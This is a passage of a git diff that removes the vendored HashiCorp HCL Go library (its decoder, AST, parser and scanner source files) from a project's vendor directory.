!fieldValue.CanSet() { - continue - } - - fieldName := field.Name - - tagValue := field.Tag.Get(tagName) - tagParts := strings.SplitN(tagValue, ",", 2) - if len(tagParts) >= 2 { - switch tagParts[1] { - case "decodedFields": - decodedFieldsVal = append(decodedFieldsVal, fieldValue) - continue - case "key": - if item == nil { - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: %s asked for 'key', impossible", - name, fieldName), - } - } - - fieldValue.SetString(item.Keys[0].Token.Value().(string)) - continue - case "unusedKeys": - unusedKeysVal = append(unusedKeysVal, fieldValue) - continue - } - } - - if tagParts[0] != "" { - fieldName = tagParts[0] - } - - // Determine the element we'll use to decode. If it is a single - // match (only object with the field), then we decode it exactly. - // If it is a prefix match, then we decode the matches. - filter := list.Filter(fieldName) - - prefixMatches := filter.Children() - matches := filter.Elem() - if len(matches.Items) == 0 && len(prefixMatches.Items) == 0 { - continue - } - - // Track the used key - usedKeys[fieldName] = struct{}{} - - // Create the field name and decode. We range over the elements - // because we actually want the value. - fieldName = fmt.Sprintf("%s.%s", name, fieldName) - if len(prefixMatches.Items) > 0 { - if err := d.decode(fieldName, prefixMatches, fieldValue); err != nil { - return err - } - } - for _, match := range matches.Items { - var decodeNode ast.Node = match.Val - if ot, ok := decodeNode.(*ast.ObjectType); ok { - decodeNode = &ast.ObjectList{Items: ot.List.Items} - } - - if err := d.decode(fieldName, decodeNode, fieldValue); err != nil { - return err - } - } - - decodedFields = append(decodedFields, field.Name) - } - - if len(decodedFieldsVal) > 0 { - // Sort it so that it is deterministic - sort.Strings(decodedFields) - - for _, v := range decodedFieldsVal { - v.Set(reflect.ValueOf(decodedFields)) - } - } - - return nil -} - -// findNodeType returns the type of ast.Node -func findNodeType() reflect.Type { - var nodeContainer struct { - Node ast.Node - } - value := reflect.ValueOf(nodeContainer).FieldByName("Node") - return value.Type() -} diff --git a/vendor/github.com/hashicorp/hcl/go.mod b/vendor/github.com/hashicorp/hcl/go.mod deleted file mode 100644 index 4debbbe358..0000000000 --- a/vendor/github.com/hashicorp/hcl/go.mod +++ /dev/null @@ -1,3 +0,0 @@ -module github.com/hashicorp/hcl - -require github.com/davecgh/go-spew v1.1.1 diff --git a/vendor/github.com/hashicorp/hcl/go.sum b/vendor/github.com/hashicorp/hcl/go.sum deleted file mode 100644 index b5e2922e89..0000000000 --- a/vendor/github.com/hashicorp/hcl/go.sum +++ /dev/null @@ -1,2 +0,0 @@ -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= diff --git a/vendor/github.com/hashicorp/hcl/hcl.go b/vendor/github.com/hashicorp/hcl/hcl.go deleted file mode 100644 index 575a20b50b..0000000000 --- a/vendor/github.com/hashicorp/hcl/hcl.go +++ /dev/null @@ -1,11 +0,0 @@ -// Package hcl decodes HCL into usable Go structures. -// -// hcl input can come in either pure HCL format or JSON format. -// It can be parsed into an AST, and then decoded into a structure, -// or it can be decoded directly from a string into a structure. -// -// If you choose to parse HCL into a raw AST, the benefit is that you -// can write custom visitor implementations to implement custom -// semantic checks. By default, HCL does not perform any semantic -// checks. -package hcl diff --git a/vendor/github.com/hashicorp/hcl/hcl/ast/ast.go b/vendor/github.com/hashicorp/hcl/hcl/ast/ast.go deleted file mode 100644 index 6e5ef654bb..0000000000 --- a/vendor/github.com/hashicorp/hcl/hcl/ast/ast.go +++ /dev/null @@ -1,219 +0,0 @@ -// Package ast declares the types used to represent syntax trees for HCL -// (HashiCorp Configuration Language) -package ast - -import ( - "fmt" - "strings" - - "github.com/hashicorp/hcl/hcl/token" -) - -// Node is an element in the abstract syntax tree. -type Node interface { - node() - Pos() token.Pos -} - -func (File) node() {} -func (ObjectList) node() {} -func (ObjectKey) node() {} -func (ObjectItem) node() {} -func (Comment) node() {} -func (CommentGroup) node() {} -func (ObjectType) node() {} -func (LiteralType) node() {} -func (ListType) node() {} - -// File represents a single HCL file -type File struct { - Node Node // usually a *ObjectList - Comments []*CommentGroup // list of all comments in the source -} - -func (f *File) Pos() token.Pos { - return f.Node.Pos() -} - -// ObjectList represents a list of ObjectItems. An HCL file itself is an -// ObjectList. -type ObjectList struct { - Items []*ObjectItem -} - -func (o *ObjectList) Add(item *ObjectItem) { - o.Items = append(o.Items, item) -} - -// Filter filters out the objects with the given key list as a prefix. -// -// The returned list of objects contain ObjectItems where the keys have -// this prefix already stripped off. This might result in objects with -// zero-length key lists if they have no children. -// -// If no matches are found, an empty ObjectList (non-nil) is returned. -func (o *ObjectList) Filter(keys ...string) *ObjectList { - var result ObjectList - for _, item := range o.Items { - // If there aren't enough keys, then ignore this - if len(item.Keys) < len(keys) { - continue - } - - match := true - for i, key := range item.Keys[:len(keys)] { - key := key.Token.Value().(string) - if key != keys[i] && !strings.EqualFold(key, keys[i]) { - match = false - break - } - } - if !match { - continue - } - - // Strip off the prefix from the children - newItem := *item - newItem.Keys = newItem.Keys[len(keys):] - result.Add(&newItem) - } - - return &result -} - -// Children returns further nested objects (key length > 0) within this -// ObjectList. This should be used with Filter to get at child items. -func (o *ObjectList) Children() *ObjectList { - var result ObjectList - for _, item := range o.Items { - if len(item.Keys) > 0 { - result.Add(item) - } - } - - return &result -} - -// Elem returns items in the list that are direct element assignments -// (key length == 0). This should be used with Filter to get at elements. -func (o *ObjectList) Elem() *ObjectList { - var result ObjectList - for _, item := range o.Items { - if len(item.Keys) == 0 { - result.Add(item) - } - } - - return &result -} - -func (o *ObjectList) Pos() token.Pos { - // always returns the uninitiliazed position - return o.Items[0].Pos() -} - -// ObjectItem represents a HCL Object Item. An item is represented with a key -// (or keys). It can be an assignment or an object (both normal and nested) -type ObjectItem struct { - // keys is only one length long if it's of type assignment. If it's a - // nested object it can be larger than one. In that case "assign" is - // invalid as there is no assignments for a nested object. - Keys []*ObjectKey - - // assign contains the position of "=", if any - Assign token.Pos - - // val is the item itself. It can be an object,list, number, bool or a - // string. If key length is larger than one, val can be only of type - // Object. - Val Node - - LeadComment *CommentGroup // associated lead comment - LineComment *CommentGroup // associated line comment -} - -func (o *ObjectItem) Pos() token.Pos { - // I'm not entirely sure what causes this, but removing this causes - // a test failure. We should investigate at some point. - if len(o.Keys) == 0 { - return token.Pos{} - } - - return o.Keys[0].Pos() -} - -// ObjectKeys are either an identifier or of type string. -type ObjectKey struct { - Token token.Token -} - -func (o *ObjectKey) Pos() token.Pos { - return o.Token.Pos -} - -// LiteralType represents a literal of basic type. Valid types are: -// token.NUMBER, token.FLOAT, token.BOOL and token.STRING -type LiteralType struct { - Token token.Token - - // comment types, only used when in a list - LeadComment *CommentGroup - LineComment *CommentGroup -} - -func (l *LiteralType) Pos() token.Pos { - return l.Token.Pos -} - -// ListStatement represents a HCL List type -type ListType struct { - Lbrack token.Pos // position of "[" - Rbrack token.Pos // position of "]" - List []Node // the elements in lexical order -} - -func (l *ListType) Pos() token.Pos { - return l.Lbrack -} - -func (l *ListType) Add(node Node) { - l.List = append(l.List, node) -} - -// ObjectType represents a HCL Object Type -type ObjectType struct { - Lbrace token.Pos // position of "{" - Rbrace token.Pos // position of "}" - List *ObjectList // the nodes in lexical order -} - -func (o *ObjectType) Pos() token.Pos { - return o.Lbrace -} - -// Comment node represents a single //, # style or /*- style commment -type Comment struct { - Start token.Pos // position of / or # - Text string -} - -func (c *Comment) Pos() token.Pos { - return c.Start -} - -// CommentGroup node represents a sequence of comments with no other tokens and -// no empty lines between. -type CommentGroup struct { - List []*Comment // len(List) > 0 -} - -func (c *CommentGroup) Pos() token.Pos { - return c.List[0].Pos() -} - -//------------------------------------------------------------------- -// GoStringer -//------------------------------------------------------------------- - -func (o *ObjectKey) GoString() string { return fmt.Sprintf("*%#v", *o) } -func (o *ObjectList) GoString() string { return fmt.Sprintf("*%#v", *o) } diff --git a/vendor/github.com/hashicorp/hcl/hcl/ast/walk.go b/vendor/github.com/hashicorp/hcl/hcl/ast/walk.go deleted file mode 100644 index ba07ad42b0..0000000000 --- a/vendor/github.com/hashicorp/hcl/hcl/ast/walk.go +++ /dev/null @@ -1,52 +0,0 @@ -package ast - -import "fmt" - -// WalkFunc describes a function to be called for each node during a Walk. The -// returned node can be used to rewrite the AST. Walking stops the returned -// bool is false. -type WalkFunc func(Node) (Node, bool) - -// Walk traverses an AST in depth-first order: It starts by calling fn(node); -// node must not be nil. If fn returns true, Walk invokes fn recursively for -// each of the non-nil children of node, followed by a call of fn(nil). The -// returned node of fn can be used to rewrite the passed node to fn. -func Walk(node Node, fn WalkFunc) Node { - rewritten, ok := fn(node) - if !ok { - return rewritten - } - - switch n := node.(type) { - case *File: - n.Node = Walk(n.Node, fn) - case *ObjectList: - for i, item := range n.Items { - n.Items[i] = Walk(item, fn).(*ObjectItem) - } - case *ObjectKey: - // nothing to do - case *ObjectItem: - for i, k := range n.Keys { - n.Keys[i] = Walk(k, fn).(*ObjectKey) - } - - if n.Val != nil { - n.Val = Walk(n.Val, fn) - } - case *LiteralType: - // nothing to do - case *ListType: - for i, l := range n.List { - n.List[i] = Walk(l, fn) - } - case *ObjectType: - n.List = Walk(n.List, fn).(*ObjectList) - default: - // should we panic here? - fmt.Printf("unknown type: %T\n", n) - } - - fn(nil) - return rewritten -} diff --git a/vendor/github.com/hashicorp/hcl/hcl/parser/error.go b/vendor/github.com/hashicorp/hcl/hcl/parser/error.go deleted file mode 100644 index 5c99381dfb..0000000000 --- a/vendor/github.com/hashicorp/hcl/hcl/parser/error.go +++ /dev/null @@ -1,17 +0,0 @@ -package parser - -import ( - "fmt" - - "github.com/hashicorp/hcl/hcl/token" -) - -// PosError is a parse error that contains a position. -type PosError struct { - Pos token.Pos - Err error -} - -func (e *PosError) Error() string { - return fmt.Sprintf("At %s: %s", e.Pos, e.Err) -} diff --git a/vendor/github.com/hashicorp/hcl/hcl/parser/parser.go b/vendor/github.com/hashicorp/hcl/hcl/parser/parser.go deleted file mode 100644 index 64c83bcfb5..0000000000 --- a/vendor/github.com/hashicorp/hcl/hcl/parser/parser.go +++ /dev/null @@ -1,532 +0,0 @@ -// Package parser implements a parser for HCL (HashiCorp Configuration -// Language) -package parser - -import ( - "bytes" - "errors" - "fmt" - "strings" - - "github.com/hashicorp/hcl/hcl/ast" - "github.com/hashicorp/hcl/hcl/scanner" - "github.com/hashicorp/hcl/hcl/token" -) - -type Parser struct { - sc *scanner.Scanner - - // Last read token - tok token.Token - commaPrev token.Token - - comments []*ast.CommentGroup - leadComment *ast.CommentGroup // last lead comment - lineComment *ast.CommentGroup // last line comment - - enableTrace bool - indent int - n int // buffer size (max = 1) -} - -func newParser(src []byte) *Parser { - return &Parser{ - sc: scanner.New(src), - } -} - -// Parse returns the fully parsed source and returns the abstract syntax tree. -func Parse(src []byte) (*ast.File, error) { - // normalize all line endings - // since the scanner and output only work with "\n" line endings, we may - // end up with dangling "\r" characters in the parsed data. - src = bytes.Replace(src, []byte("\r\n"), []byte("\n"), -1) - - p := newParser(src) - return p.Parse() -} - -var errEofToken = errors.New("EOF token found") - -// Parse returns the fully parsed source and returns the abstract syntax tree. -func (p *Parser) Parse() (*ast.File, error) { - f := &ast.File{} - var err, scerr error - p.sc.Error = func(pos token.Pos, msg string) { - scerr = &PosError{Pos: pos, Err: errors.New(msg)} - } - - f.Node, err = p.objectList(false) - if scerr != nil { - return nil, scerr - } - if err != nil { - return nil, err - } - - f.Comments = p.comments - return f, nil -} - -// objectList parses a list of items within an object (generally k/v pairs). -// The parameter" obj" tells this whether to we are within an object (braces: -// '{', '}') or just at the top level. If we're within an object, we end -// at an RBRACE. -func (p *Parser) objectList(obj bool) (*ast.ObjectList, error) { - defer un(trace(p, "ParseObjectList")) - node := &ast.ObjectList{} - - for { - if obj { - tok := p.scan() - p.unscan() - if tok.Type == token.RBRACE { - break - } - } - - n, err := p.objectItem() - if err == errEofToken { - break // we are finished - } - - // we don't return a nil node, because might want to use already - // collected items. - if err != nil { - return node, err - } - - node.Add(n) - - // object lists can be optionally comma-delimited e.g. when a list of maps - // is being expressed, so a comma is allowed here - it's simply consumed - tok := p.scan() - if tok.Type != token.COMMA { - p.unscan() - } - } - return node, nil -} - -func (p *Parser) consumeComment() (comment *ast.Comment, endline int) { - endline = p.tok.Pos.Line - - // count the endline if it's multiline comment, ie starting with /* - if len(p.tok.Text) > 1 && p.tok.Text[1] == '*' { - // don't use range here - no need to decode Unicode code points - for i := 0; i < len(p.tok.Text); i++ { - if p.tok.Text[i] == '\n' { - endline++ - } - } - } - - comment = &ast.Comment{Start: p.tok.Pos, Text: p.tok.Text} - p.tok = p.sc.Scan() - return -} - -func (p *Parser) consumeCommentGroup(n int) (comments *ast.CommentGroup, endline int) { - var list []*ast.Comment - endline = p.tok.Pos.Line - - for p.tok.Type == token.COMMENT && p.tok.Pos.Line <= endline+n { - var comment *ast.Comment - comment, endline = p.consumeComment() - list = append(list, comment) - } - - // add comment group to the comments list - comments = &ast.CommentGroup{List: list} - p.comments = append(p.comments, comments) - - return -} - -// objectItem parses a single object item -func (p *Parser) objectItem() (*ast.ObjectItem, error) { - defer un(trace(p, "ParseObjectItem")) - - keys, err := p.objectKey() - if len(keys) > 0 && err == errEofToken { - // We ignore eof token here since it is an error if we didn't - // receive a value (but we did receive a key) for the item. - err = nil - } - if len(keys) > 0 && err != nil && p.tok.Type == token.RBRACE { - // This is a strange boolean statement, but what it means is: - // We have keys with no value, and we're likely in an object - // (since RBrace ends an object). For this, we set err to nil so - // we continue and get the error below of having the wrong value - // type. - err = nil - - // Reset the token type so we don't think it completed fine. See - // objectType which uses p.tok.Type to check if we're done with - // the object. - p.tok.Type = token.EOF - } - if err != nil { - return nil, err - } - - o := &ast.ObjectItem{ - Keys: keys, - } - - if p.leadComment != nil { - o.LeadComment = p.leadComment - p.leadComment = nil - } - - switch p.tok.Type { - case token.ASSIGN: - o.Assign = p.tok.Pos - o.Val, err = p.object() - if err != nil { - return nil, err - } - case token.LBRACE: - o.Val, err = p.objectType() - if err != nil { - return nil, err - } - default: - keyStr := make([]string, 0, len(keys)) - for _, k := range keys { - keyStr = append(keyStr, k.Token.Text) - } - - return nil, &PosError{ - Pos: p.tok.Pos, - Err: fmt.Errorf( - "key '%s' expected start of object ('{') or assignment ('=')", - strings.Join(keyStr, " ")), - } - } - - // key=#comment - // val - if p.lineComment != nil { - o.LineComment, p.lineComment = p.lineComment, nil - } - - // do a look-ahead for line comment - p.scan() - if len(keys) > 0 && o.Val.Pos().Line == keys[0].Pos().Line && p.lineComment != nil { - o.LineComment = p.lineComment - p.lineComment = nil - } - p.unscan() - return o, nil -} - -// objectKey parses an object key and returns a ObjectKey AST -func (p *Parser) objectKey() ([]*ast.ObjectKey, error) { - keyCount := 0 - keys := make([]*ast.ObjectKey, 0) - - for { - tok := p.scan() - switch tok.Type { - case token.EOF: - // It is very important to also return the keys here as well as - // the error. This is because we need to be able to tell if we - // did parse keys prior to finding the EOF, or if we just found - // a bare EOF. - return keys, errEofToken - case token.ASSIGN: - // assignment or object only, but not nested objects. this is not - // allowed: `foo bar = {}` - if keyCount > 1 { - return nil, &PosError{ - Pos: p.tok.Pos, - Err: fmt.Errorf("nested object expected: LBRACE got: %s", p.tok.Type), - } - } - - if keyCount == 0 { - return nil, &PosError{ - Pos: p.tok.Pos, - Err: errors.New("no object keys found!"), - } - } - - return keys, nil - case token.LBRACE: - var err error - - // If we have no keys, then it is a syntax error. i.e. {{}} is not - // allowed. - if len(keys) == 0 { - err = &PosError{ - Pos: p.tok.Pos, - Err: fmt.Errorf("expected: IDENT | STRING got: %s", p.tok.Type), - } - } - - // object - return keys, err - case token.IDENT, token.STRING: - keyCount++ - keys = append(keys, &ast.ObjectKey{Token: p.tok}) - case token.ILLEGAL: - return keys, &PosError{ - Pos: p.tok.Pos, - Err: fmt.Errorf("illegal character"), - } - default: - return keys, &PosError{ - Pos: p.tok.Pos, - Err: fmt.Errorf("expected: IDENT | STRING | ASSIGN | LBRACE got: %s", p.tok.Type), - } - } - } -} - -// object parses any type of object, such as number, bool, string, object or -// list. -func (p *Parser) object() (ast.Node, error) { - defer un(trace(p, "ParseType")) - tok := p.scan() - - switch tok.Type { - case token.NUMBER, token.FLOAT, token.BOOL, token.STRING, token.HEREDOC: - return p.literalType() - case token.LBRACE: - return p.objectType() - case token.LBRACK: - return p.listType() - case token.COMMENT: - // implement comment - case token.EOF: - return nil, errEofToken - } - - return nil, &PosError{ - Pos: tok.Pos, - Err: fmt.Errorf("Unknown token: %+v", tok), - } -} - -// objectType parses an object type and returns a ObjectType AST -func (p *Parser) objectType() (*ast.ObjectType, error) { - defer un(trace(p, "ParseObjectType")) - - // we assume that the currently scanned token is a LBRACE - o := &ast.ObjectType{ - Lbrace: p.tok.Pos, - } - - l, err := p.objectList(true) - - // if we hit RBRACE, we are good to go (means we parsed all Items), if it's - // not a RBRACE, it's an syntax error and we just return it. - if err != nil && p.tok.Type != token.RBRACE { - return nil, err - } - - // No error, scan and expect the ending to be a brace - if tok := p.scan(); tok.Type != token.RBRACE { - return nil, &PosError{ - Pos: tok.Pos, - Err: fmt.Errorf("object expected closing RBRACE got: %s", tok.Type), - } - } - - o.List = l - o.Rbrace = p.tok.Pos // advanced via parseObjectList - return o, nil -} - -// listType parses a list type and returns a ListType AST -func (p *Parser) listType() (*ast.ListType, error) { - defer un(trace(p, "ParseListType")) - - // we assume that the currently scanned token is a LBRACK - l := &ast.ListType{ - Lbrack: p.tok.Pos, - } - - needComma := false - for { - tok := p.scan() - if needComma { - switch tok.Type { - case token.COMMA, token.RBRACK: - default: - return nil, &PosError{ - Pos: tok.Pos, - Err: fmt.Errorf( - "error parsing list, expected comma or list end, got: %s", - tok.Type), - } - } - } - switch tok.Type { - case token.BOOL, token.NUMBER, token.FLOAT, token.STRING, token.HEREDOC: - node, err := p.literalType() - if err != nil { - return nil, err - } - - // If there is a lead comment, apply it - if p.leadComment != nil { - node.LeadComment = p.leadComment - p.leadComment = nil - } - - l.Add(node) - needComma = true - case token.COMMA: - // get next list item or we are at the end - // do a look-ahead for line comment - p.scan() - if p.lineComment != nil && len(l.List) > 0 { - lit, ok := l.List[len(l.List)-1].(*ast.LiteralType) - if ok { - lit.LineComment = p.lineComment - l.List[len(l.List)-1] = lit - p.lineComment = nil - } - } - p.unscan() - - needComma = false - continue - case token.LBRACE: - // Looks like a nested object, so parse it out - node, err := p.objectType() - if err != nil { - return nil, &PosError{ - Pos: tok.Pos, - Err: fmt.Errorf( - "error while trying to parse object within list: %s", err), - } - } - l.Add(node) - needComma = true - case token.LBRACK: - node, err := p.listType() - if err != nil { - return nil, &PosError{ - Pos: tok.Pos, - Err: fmt.Errorf( - "error while trying to parse list within list: %s", err), - } - } - l.Add(node) - case token.RBRACK: - // finished - l.Rbrack = p.tok.Pos - return l, nil - default: - return nil, &PosError{ - Pos: tok.Pos, - Err: fmt.Errorf("unexpected token while parsing list: %s", tok.Type), - } - } - } -} - -// literalType parses a literal type and returns a LiteralType AST -func (p *Parser) literalType() (*ast.LiteralType, error) { - defer un(trace(p, "ParseLiteral")) - - return &ast.LiteralType{ - Token: p.tok, - }, nil -} - -// scan returns the next token from the underlying scanner. If a token has -// been unscanned then read that instead. In the process, it collects any -// comment groups encountered, and remembers the last lead and line comments. -func (p *Parser) scan() token.Token { - // If we have a token on the buffer, then return it. - if p.n != 0 { - p.n = 0 - return p.tok - } - - // Otherwise read the next token from the scanner and Save it to the buffer - // in case we unscan later. - prev := p.tok - p.tok = p.sc.Scan() - - if p.tok.Type == token.COMMENT { - var comment *ast.CommentGroup - var endline int - - // fmt.Printf("p.tok.Pos.Line = %+v prev: %d endline %d \n", - // p.tok.Pos.Line, prev.Pos.Line, endline) - if p.tok.Pos.Line == prev.Pos.Line { - // The comment is on same line as the previous token; it - // cannot be a lead comment but may be a line comment. - comment, endline = p.consumeCommentGroup(0) - if p.tok.Pos.Line != endline { - // The next token is on a different line, thus - // the last comment group is a line comment. - p.lineComment = comment - } - } - - // consume successor comments, if any - endline = -1 - for p.tok.Type == token.COMMENT { - comment, endline = p.consumeCommentGroup(1) - } - - if endline+1 == p.tok.Pos.Line && p.tok.Type != token.RBRACE { - switch p.tok.Type { - case token.RBRACE, token.RBRACK: - // Do not count for these cases - default: - // The next token is following on the line immediately after the - // comment group, thus the last comment group is a lead comment. - p.leadComment = comment - } - } - - } - - return p.tok -} - -// unscan pushes the previously read token back onto the buffer. -func (p *Parser) unscan() { - p.n = 1 -} - -// ---------------------------------------------------------------------------- -// Parsing support - -func (p *Parser) printTrace(a ...interface{}) { - if !p.enableTrace { - return - } - - const dots = ". . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . " - const n = len(dots) - fmt.Printf("%5d:%3d: ", p.tok.Pos.Line, p.tok.Pos.Column) - - i := 2 * p.indent - for i > n { - fmt.Print(dots) - i -= n - } - // i <= n - fmt.Print(dots[0:i]) - fmt.Println(a...) -} - -func trace(p *Parser, msg string) *Parser { - p.printTrace(msg, "(") - p.indent++ - return p -} - -// Usage pattern: defer un(trace(p, "...")) -func un(p *Parser) { - p.indent-- - p.printTrace(")") -} diff --git a/vendor/github.com/hashicorp/hcl/hcl/scanner/scanner.go b/vendor/github.com/hashicorp/hcl/hcl/scanner/scanner.go deleted file mode 100644 index 624a18fe3a..0000000000 --- a/vendor/github.com/hashicorp/hcl/hcl/scanner/scanner.go +++ /dev/null @@ -1,652 +0,0 @@ -// Package scanner implements a scanner for HCL (HashiCorp Configuration -// Language) source text. -package scanner - -import ( - "bytes" - "fmt" - "os" - "regexp" - "unicode" - "unicode/utf8" - - "github.com/hashicorp/hcl/hcl/token" -) - -// eof represents a marker rune for the end of the reader. -const eof = rune(0) - -// Scanner defines a lexical scanner -type Scanner struct { - buf *bytes.Buffer // Source buffer for advancing and scanning - src []byte // Source buffer for immutable access - - // Source Position - srcPos token.Pos // current position - prevPos token.Pos // previous position, used for peek() method - - lastCharLen int // length of last character in bytes - lastLineLen int // length of last line in characters (for correct column reporting) - - tokStart int // token text start position - tokEnd int // token text end position - - // Error is called for each error encountered. If no Error - // function is set, the error is reported to os.Stderr. - Error func(pos token.Pos, msg string) - - // ErrorCount is incremented by one for each error encountered. - ErrorCount int - - // tokPos is the start position of most recently scanned token; set by - // Scan. The Filename field is always left untouched by the Scanner. If - // an error is reported (via Error) and Position is invalid, the scanner is - // not inside a token. - tokPos token.Pos -} - -// New creates and initializes a new instance of Scanner using src as -// its source content. -func New(src []byte) *Scanner { - // even though we accept a src, we read from a io.Reader compatible type - // (*bytes.Buffer). So in the future we might easily change it to streaming - // read. - b := bytes.NewBuffer(src) - s := &Scanner{ - buf: b, - src: src, - } - - // srcPosition always starts with 1 - s.srcPos.Line = 1 - return s -} - -// next reads the next rune from the bufferred reader. Returns the rune(0) if -// an error occurs (or io.EOF is returned). -func (s *Scanner) next() rune { - ch, size, err := s.buf.ReadRune() - if err != nil { - // advance for error reporting - s.srcPos.Column++ - s.srcPos.Offset += size - s.lastCharLen = size - return eof - } - - // remember last position - s.prevPos = s.srcPos - - s.srcPos.Column++ - s.lastCharLen = size - s.srcPos.Offset += size - - if ch == utf8.RuneError && size == 1 { - s.err("illegal UTF-8 encoding") - return ch - } - - if ch == '\n' { - s.srcPos.Line++ - s.lastLineLen = s.srcPos.Column - s.srcPos.Column = 0 - } - - if ch == '\x00' { - s.err("unexpected null character (0x00)") - return eof - } - - if ch == '\uE123' { - s.err("unicode code point U+E123 reserved for internal use") - return utf8.RuneError - } - - // debug - // fmt.Printf("ch: %q, offset:column: %d:%d\n", ch, s.srcPos.Offset, s.srcPos.Column) - return ch -} - -// unread unreads the previous read Rune and updates the source position -func (s *Scanner) unread() { - if err := s.buf.UnreadRune(); err != nil { - panic(err) // this is user fault, we should catch it - } - s.srcPos = s.prevPos // put back last position -} - -// peek returns the next rune without advancing the reader. -func (s *Scanner) peek() rune { - peek, _, err := s.buf.ReadRune() - if err != nil { - return eof - } - - s.buf.UnreadRune() - return peek -} - -// Scan scans the next token and returns the token. -func (s *Scanner) Scan() token.Token { - ch := s.next() - - // skip white space - for isWhitespace(ch) { - ch = s.next() - } - - var tok token.Type - - // token text markings - s.tokStart = s.srcPos.Offset - s.lastCharLen - - // token position, initial next() is moving the offset by one(size of rune - // actually), though we are interested with the starting point - s.tokPos.Offset = s.srcPos.Offset - s.lastCharLen - if s.srcPos.Column > 0 { - // common case: last character was not a '\n' - s.tokPos.Line = s.srcPos.Line - s.tokPos.Column = s.srcPos.Column - } else { - // last character was a '\n' - // (we cannot be at the beginning of the source - // since we have called next() at least once) - s.tokPos.Line = s.srcPos.Line - 1 - s.tokPos.Column = s.lastLineLen - } - - switch { - case isLetter(ch): - tok = token.IDENT - lit := s.scanIdentifier() - if lit == "true" || lit == "false" { - tok = token.BOOL - } - case isDecimal(ch): - tok = s.scanNumber(ch) - default: - switch ch { - case eof: - tok = token.EOF - case '"': - tok = token.STRING - s.scanString() - case '#', '/': - tok = token.COMMENT - s.scanComment(ch) - case '.': - tok = token.PERIOD - ch = s.peek() - if isDecimal(ch) { - tok = token.FLOAT - ch = s.scanMantissa(ch) - ch = s.scanExponent(ch) - } - case '<': - tok = token.HEREDOC - s.scanHeredoc() - case '[': - tok = token.LBRACK - case ']': - tok = token.RBRACK - case '{': - tok = token.LBRACE - case '}': - tok = token.RBRACE - case ',': - tok = token.COMMA - case '=': - tok = token.ASSIGN - case '+': - tok = token.ADD - case '-': - if isDecimal(s.peek()) { - ch := s.next() - tok = s.scanNumber(ch) - } else { - tok = token.SUB - } - default: - s.err("illegal char") - } - } - - // finish token ending - s.tokEnd = s.srcPos.Offset - - // create token literal - var tokenText string - if s.tokStart >= 0 { - tokenText = string(s.src[s.tokStart:s.tokEnd]) - } - s.tokStart = s.tokEnd // ensure idempotency of tokenText() call - - return token.Token{ - Type: tok, - Pos: s.tokPos, - Text: tokenText, - } -} - -func (s *Scanner) scanComment(ch rune) { - // single line comments - if ch == '#' || (ch == '/' && s.peek() != '*') { - if ch == '/' && s.peek() != '/' { - s.err("expected '/' for comment") - return - } - - ch = s.next() - for ch != '\n' && ch >= 0 && ch != eof { - ch = s.next() - } - if ch != eof && ch >= 0 { - s.unread() - } - return - } - - // be sure we get the character after /* This allows us to find comment's - // that are not erminated - if ch == '/' { - s.next() - ch = s.next() // read character after "/*" - } - - // look for /* - style comments - for { - if ch < 0 || ch == eof { - s.err("comment not terminated") - break - } - - ch0 := ch - ch = s.next() - if ch0 == '*' && ch == '/' { - break - } - } -} - -// scanNumber scans a HCL number definition starting with the given rune -func (s *Scanner) scanNumber(ch rune) token.Type { - if ch == '0' { - // check for hexadecimal, octal or float - ch = s.next() - if ch == 'x' || ch == 'X' { - // hexadecimal - ch = s.next() - found := false - for isHexadecimal(ch) { - ch = s.next() - found = true - } - - if !found { - s.err("illegal hexadecimal number") - } - - if ch != eof { - s.unread() - } - - return token.NUMBER - } - - // now it's either something like: 0421(octal) or 0.1231(float) - illegalOctal := false - for isDecimal(ch) { - ch = s.next() - if ch == '8' || ch == '9' { - // this is just a possibility. For example 0159 is illegal, but - // 0159.23 is valid. So we mark a possible illegal octal. If - // the next character is not a period, we'll print the error. - illegalOctal = true - } - } - - if ch == 'e' || ch == 'E' { - ch = s.scanExponent(ch) - return token.FLOAT - } - - if ch == '.' { - ch = s.scanFraction(ch) - - if ch == 'e' || ch == 'E' { - ch = s.next() - ch = s.scanExponent(ch) - } - return token.FLOAT - } - - if illegalOctal { - s.err("illegal octal number") - } - - if ch != eof { - s.unread() - } - return token.NUMBER - } - - s.scanMantissa(ch) - ch = s.next() // seek forward - if ch == 'e' || ch == 'E' { - ch = s.scanExponent(ch) - return token.FLOAT - } - - if ch == '.' { - ch = s.scanFraction(ch) - if ch == 'e' || ch == 'E' { - ch = s.next() - ch = s.scanExponent(ch) - } - return token.FLOAT - } - - if ch != eof { - s.unread() - } - return token.NUMBER -} - -// scanMantissa scans the mantissa beginning from the rune. It returns the next -// non decimal rune. It's used to determine wheter it's a fraction or exponent. -func (s *Scanner) scanMantissa(ch rune) rune { - scanned := false - for isDecimal(ch) { - ch = s.next() - scanned = true - } - - if scanned && ch != eof { - s.unread() - } - return ch -} - -// scanFraction scans the fraction after the '.' rune -func (s *Scanner) scanFraction(ch rune) rune { - if ch == '.' { - ch = s.peek() // we peek just to see if we can move forward - ch = s.scanMantissa(ch) - } - return ch -} - -// scanExponent scans the remaining parts of an exponent after the 'e' or 'E' -// rune. -func (s *Scanner) scanExponent(ch rune) rune { - if ch == 'e' || ch == 'E' { - ch = s.next() - if ch == '-' || ch == '+' { - ch = s.next() - } - ch = s.scanMantissa(ch) - } - return ch -} - -// scanHeredoc scans a heredoc string -func (s *Scanner) scanHeredoc() { - // Scan the second '<' in example: '<= len(identBytes) && identRegexp.Match(s.src[lineStart:s.srcPos.Offset-s.lastCharLen]) { - break - } - - // Not an anchor match, record the start of a new line - lineStart = s.srcPos.Offset - } - - if ch == eof { - s.err("heredoc not terminated") - return - } - } - - return -} - -// scanString scans a quoted string -func (s *Scanner) scanString() { - braces := 0 - for { - // '"' opening already consumed - // read character after quote - ch := s.next() - - if (ch == '\n' && braces == 0) || ch < 0 || ch == eof { - s.err("literal not terminated") - return - } - - if ch == '"' && braces == 0 { - break - } - - // If we're going into a ${} then we can ignore quotes for awhile - if braces == 0 && ch == '$' && s.peek() == '{' { - braces++ - s.next() - } else if braces > 0 && ch == '{' { - braces++ - } - if braces > 0 && ch == '}' { - braces-- - } - - if ch == '\\' { - s.scanEscape() - } - } - - return -} - -// scanEscape scans an escape sequence -func (s *Scanner) scanEscape() rune { - // 